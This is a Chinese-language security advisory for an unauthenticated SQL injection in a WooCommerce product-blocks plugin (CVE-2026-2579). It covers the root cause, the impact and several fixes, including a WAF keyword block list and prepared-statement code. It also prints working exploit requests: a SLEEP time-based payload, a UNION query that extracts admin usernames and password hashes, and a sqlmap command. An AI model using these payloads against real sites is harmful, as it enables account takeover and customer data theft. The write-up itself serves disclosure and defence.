WowStore – Store Builder Product Blocks for WooCommerce WordPress 插件SQL注入[ CVE-2026-2579 ]
基本信息项目详情漏洞编号CVE-2026-2579插件名称WowStore – Store Builder Product Blocks for WooCommercefofawp-content/plugins/product-blocks受影响版本≤ 4.4.3补丁版本4.4.4CVSS 3.17.5高危漏洞类型SQL注入SQL Injection利用难度低无需认证危害等级高危安装量6000漏洞概述WowStore前身为 product-blocks是一款流行的 WordPress WooCommerce 商店构建器和产品块插件允许用户创建精美的电商页面。该插件在所有版本包括 4.4.3中存在未经认证的 SQL 注入漏洞攻击者可以通过构造恶意的 REST API 请求在无需登录的情况下执行任意 SQL 语句从而从数据库中提取敏感信息。漏洞成因根本原因分析该漏洞的根本原因在于插件开发者对用户输入的处理不当以及直接将用户输入拼接到 SQL 查询字符串中且REST API 端点未进行权限验证。1. 不安全的REST API端点权限设置在classes/REST_API.php文件中product-search端点的权限回调被设置为__return_true意味着**任何用户包括未登录用户**都可以访问该端点// classes/REST_API.php 第 117-124 行register_rest_route(wopb,product-search,array(methodsPOST,callbackarray($this,product_search),permission_callback__return_true,// 未经认证!));2. 不安全的SQL拼接方式在classes/Functions.php文件的custom_post_query()方法中filter_search_key参数直接拼接到 SQL 查询中没有使用$wpdb-prepare()进行预处理// classes/Functions.php 第 2582-2592 行publicfunctioncustom_post_query($where,$query){global$wpdb;if(!empty($query-get(filter_search_key))){$where. AND ({$wpdb-prefix}posts.post_title LIKE %{$query-get(filter_search_key)}% OR (post_meta.meta_key_sku AND post_meta.meta_value LIKE %{$query-get(filter_search_key)}%) );}return$where;}3. 用户输入直接传入SQL查询filter_search_key参数通过以下调用链从用户请求中获取/wp-json/wopb/product-search (REST API) ↓ 调用 product_search() 方法 (REST_API.php) ↓ 设置 $params[search] → filter_search_key ↓ 调用 search_block_param() 方法 (REST_API.php) ↓ 添加 add_filter(posts_where, custom_post_query) ↓ 触发 custom_post_query() 使用 $query-get(filter_search_key)4. 数据流分析用户发送 POST 请求到/wp-json/wopb/product-searchsearch参数通过sanitize_text_field()处理后赋值给filter_search_keycustom_post_query()钩子被添加 WordPress 查询中查询执行时filter_search_key被直接拼接到 WHERE 子句中攻击者可以注入任意 SQL 代码漏洞影响1. 数据泄露风险攻击者可以获取WordPress所有用户的用户名、密码哈希、邮箱地址读取数据库中的敏感配置信息如 WordPress 密钥、数据库凭据导出整个数据库内容包括产品信息、订单数据、客户信息2. 数据篡改风险攻击者可以修改管理员密码接管网站篡改产品价格和库存信息删除或损坏重要数据3. 服务器沦陷风险在特定条件下攻击者可以通过SQL注入获取服务器shell在服务器上执行任意命令完全控制目标服务器漏洞复现受影响端点端点方法认证要求/wp-json/wopb/product-searchPOST无需认证复现步骤验证漏洞存在时间盲注POST /wp-json/wopb/product-search HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json { search: test AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND 11, blockId: test, blockName: wopb_product_search, postId: 1 }UNION注入提取管理员凭据POST /wp-json/wopb/product-search HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json { search: test UNION SELECT user_login, user_pass FROM wp_users WHERE ID1-- -, blockId: test, blockName: wopb_product_search, postId: 1 }使用sqlmap进行自动化测试python sqlmap.py-uhttp://127.0.0.1/wp-json/wopb/product-search--datasearchtestblockIdtestblockNamewopb_product_searchpostId1--batch--level5--risk3修复建议1. 立即升级强烈建议所有用户立即升级到 4.4.4 或更高版本官方已在该版本中修复了此漏洞。2. 临时缓解措施无法立即升级时如果暂时无法升级可以通过以下方式缓解风险方法1使用WAF规则拦截在Web应用防火墙WAF中添加规则拦截包含SQL关键字的请求- 监控路径/wp-json/wopb/product-search* - 拦截关键词UNION、SELECT、INSERT、UPDATE、DELETE、DROP、SLEEP、BENCHMARK - 拦截特殊字符单引号、分号、注释符(--、/*、*/)方法2限制REST API端点访问在主题的functions.php中添加以下代码add_action(rest_api_init,function(){register_rest_route(wopb,product-search,array(methodsPOST,callbackfunction(){if(!is_user_logged_in()){wp_die(Access Denied,Access Denied,[response403]);}},permission_callbackfunction(){returnis_user_logged_in();}));},99);方法3禁用相关REST API端点add_filter(rest_endpoints,function($endpoints){if(isset($endpoints[/wp-json/wopb/product-search])){unset($endpoints[/wp-json/wopb/product-search]);}return$endpoints;});3. 代码修复方案方案1添加权限验证推荐// classes/REST_API.php 第 117-124 行register_rest_route(wopb,product-search,array(methodsPOST,callbackarray($this,product_search),permission_callbackfunction(){returnis_user_logged_in();// 要求用户登录}));方案2使用预处理语句// classes/Functions.php 第 2582-2592 行publicfunctioncustom_post_query($where,$query){global$wpdb;if(!empty($query-get(filter_search_key))){$search_term$wpdb-esc_like($query-get(filter_search_key));$where.$wpdb-prepare( AND ({$wpdb-prefix}posts.post_title LIKE %s OR (post_meta.meta_key_sku AND post_meta.meta_value LIKE %s) ),%.$search_term.%,%.$search_term.%);}return$where;}方案3严格输入验证// 在 product_search 方法中添加$paramsarray(searchisset($data[search])?sanitize_text_field($data[search]):,);// 添加输入验证if(!empty($params[search])){// 只允许字母、数字、空格和常见搜索字符if(!preg_match(/^[a-zA-Z0-9\s\-_]$/,$params[search])){returnnewWP_Error(invalid_search,Invalid search parameter,array(status400));}}免责声明本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为请遵守相关法律法规。使用本报告中的信息所造成的任何后果与报告作者无关。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2434059.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!